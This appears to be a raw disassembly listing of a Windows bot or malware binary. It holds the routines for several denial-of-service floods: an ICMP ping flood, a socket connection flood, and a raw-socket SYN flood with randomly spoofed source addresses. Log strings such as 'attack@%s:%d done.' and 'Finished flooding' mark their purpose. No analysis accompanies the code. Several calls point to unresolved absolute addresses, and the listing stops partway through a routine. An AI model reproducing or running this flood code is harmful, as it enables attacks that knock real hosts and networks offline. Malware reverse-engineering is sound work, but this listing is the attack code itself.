; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426620:				; CODE XREF: ___:loc_4016D1j
					; ___:0040217Bj
		push	esi
		mov	esi, ecx
		call	sub_4014C4
		test	byte ptr [esp+8], 1
		jz	short loc_426638
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_426638:				; CODE XREF: ___:0042662Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426650	proc near		; CODE XREF: sub_4011FEj ___:00402081j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402090
		test	[esp+4+arg_0], 1
		jz	short loc_426668
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_426668:				; CODE XREF: sub_426650+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426650	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426680	proc near		; CODE XREF: sub_402090j
		jmp	sub_4014C4
sub_426680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266A0	proc near		; CODE XREF: sub_401A41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4266A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_40182F
		add	esp, 10h
		test	eax, eax
		jz	short loc_426764
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_42677E
; ---------------------------------------------------------------------------


loc_426764:				; CODE XREF: sub_4266A0+9Aj
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_42677E:				; CODE XREF: sub_4266A0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	near ptr 27D0968h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi ; dword_50F8A0
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E150, eax
		call	edi ; dword_50F8A0
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E154, eax
		call	edi ; dword_50F8A0
		mov	ecx, dword_50E150
		mov	dword_50E14C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E154
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx ; dword_50E150
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E14C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E154	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DCF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E672F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D5Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E15C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E35C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2780187h
		test	eax, eax
		mov	dword_50E360, eax
		jz	short loc_426B9B
		push	offset dword_446F74
		push	5
		push	eax
		push	0
		push	offset dword_50E15C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D5Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		call	near ptr 71AB2B66h
		nop
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx ; dword_50FC30
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2821DA2h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		mov	[esp+34h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+34h+var_24]
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_426F70	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	byte ptr [esp+0B0h+var_98+3], 0
		call	sub_4021A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_4021A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_4021A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_4021A3
		add	esp, 20h
		cmp	word ptr [esp+0A8h+arg_8], si
		mov	byte ptr [esp+0A8h+var_94+3], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+0B0h+var_98+3], 1
		call	sub_4021A3
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_427171:				; CODE XREF: sub_4270E0+71j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	[esp+0C0h+var_5C], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+0A8h+var_90], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: sub_4270E0+B5j
		lea	eax, [esp+0A8h+var_5C]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: sub_4270E0+28Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: sub_4270E0+D8j
		mov	ecx, [esp+0A8h+arg_8]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	[esp+0ACh+var_4C], 2
		call	ebp ; dword_50FC2C
		mov	ebx, [esp+0A8h+arg_0]
		push	28h
		mov	[esp+0ACh+var_4A], ax
		mov	[esp+0ACh+var_48], ebx
		mov	byte ptr [esp+0ACh+var_88], 45h
		call	ebp ; dword_50FC2C
		push	4000h
		mov	word ptr [esp+0ACh+var_88+2], ax
		mov	word ptr [esp+0ACh+var_84], 1
		mov	word ptr [esp+0ACh+var_84+2], si
		mov	byte ptr [esp+0ACh+var_80], 80h
		mov	byte ptr [esp+0ACh+var_80+1], 6
		mov	word ptr [esp+0ACh+var_80+2], si
		mov	[esp+0ACh+var_78], ebx
		mov	[esp+0ACh+var_68], 50h
		mov	[esp+0ACh+var_67], 2
		call	ebp ; dword_50FC2C
		mov	[esp+0A8h+var_66], ax
		mov	[esp+0A8h+var_62], si
		mov	[esp+0A8h+var_6C], esi
		call	near ptr 27E083Eh
		nop
		mov	[esp+0A8h+var_60], eax
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+0A8h+var_50], 0
		mov	byte ptr [esp+0A8h+var_50+1], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------


loc_427263:				; CODE XREF: sub_4270E0+331j
		xor	esi, esi


loc_427265:				; CODE XREF: sub_4270E0+181j
		mov	edi, [esp+0A8h+var_8C]
		mov	edx, [esp+0A8h+arg_8]
		inc	edi
		push	edx
		mov	[esp+0ACh+var_8C], edi
		mov	[esp+0ACh+var_64], si
		call	ebp ; dword_50FC2C
		push	14h
		mov	[esp+0ACh+var_72], ax
		call	ebp ; dword_50FC2C
		mov	word ptr [esp+0A8h+var_50+2], ax
		mov	eax, [esp+0A8h+var_94]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	esi, eax
		mov	dword ptr [esp+0A8h+var_7C], esi
		call	ebx ; dword_50FABC
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp ; dword_50FC2C
		mov	word ptr [esp+0A8h+var_74], ax
		call	ebx ; dword_50FABC
		mov	edi, eax
		shl	edi, 10h
		call	ebx ; dword_50FABC
		or	edi, eax
		push	edi
		call	ebp ; dword_50FC2C
		mov	edx, [esp+0A8h+arg_0]
		and	eax, 0FFFFh
		mov	[esp+0A8h+var_70], eax
		mov	eax, [esp+0A8h+var_50]
		mov	dword ptr [esp+0A8h+var_3C], esi
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_74]
		lea	edi, [esp+0A8h+var_30]
		mov	[esp+0A8h+var_38], edx
		mov	[esp+0A8h+var_34], eax
		rep movsd
		lea	ecx, [esp+0A8h+var_3C]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_88]
		lea	edi, [esp+0B0h+var_3C]
		lea	edx, [esp+0B0h+var_3C]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_74]
		lea	edi, [esp+0B0h+var_28]
		mov	[esp+0B0h+var_64], ax
		push	28h
		push	edx
		rep movsd
		mov	[esp+0B8h+var_14], 0
		call	sub_401A28
		mov	edx, [esp+0B8h+var_90]
		add	esp, 10h
		mov	word ptr [esp+0A8h+var_80+2], ax
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_88]
		lea	edi, [esp+0A8h+var_3C]
		lea	eax, [esp+0A8h+var_4C]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+0B4h+var_3C]
		push	28h
		push	ecx
		push	edx
		call	near ptr 71AB2C69h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27E083Eh
		mov	edx, [esp+0A8h+var_60]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0A8h+arg_C]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, byte ptr [esp+0A8h+var_98+3]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_4273B9:				; CODE XREF: sub_4270E0+2BEj
		push	0FFh
		push	0
		call	sub_4021A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_4021A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_4021A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_4021A3
		mov	edx, [esp+0C8h+arg_10]
		add	esp, 20h
		mov	byte ptr [esp+0A8h+var_94+3], al
		push	edx
		call	near ptr 2821DA2h
		nop
		mov	al, byte_4D64F9
		test	al, al
		jnz	loc_427263


loc_427417:				; CODE XREF: sub_4270E0+2B6j
		mov	edi, [esp+0A8h+var_90]


loc_42741B:				; CODE XREF: sub_4270E0+16Bj
		push	edi
		call	near ptr 71AB9639h
		nop
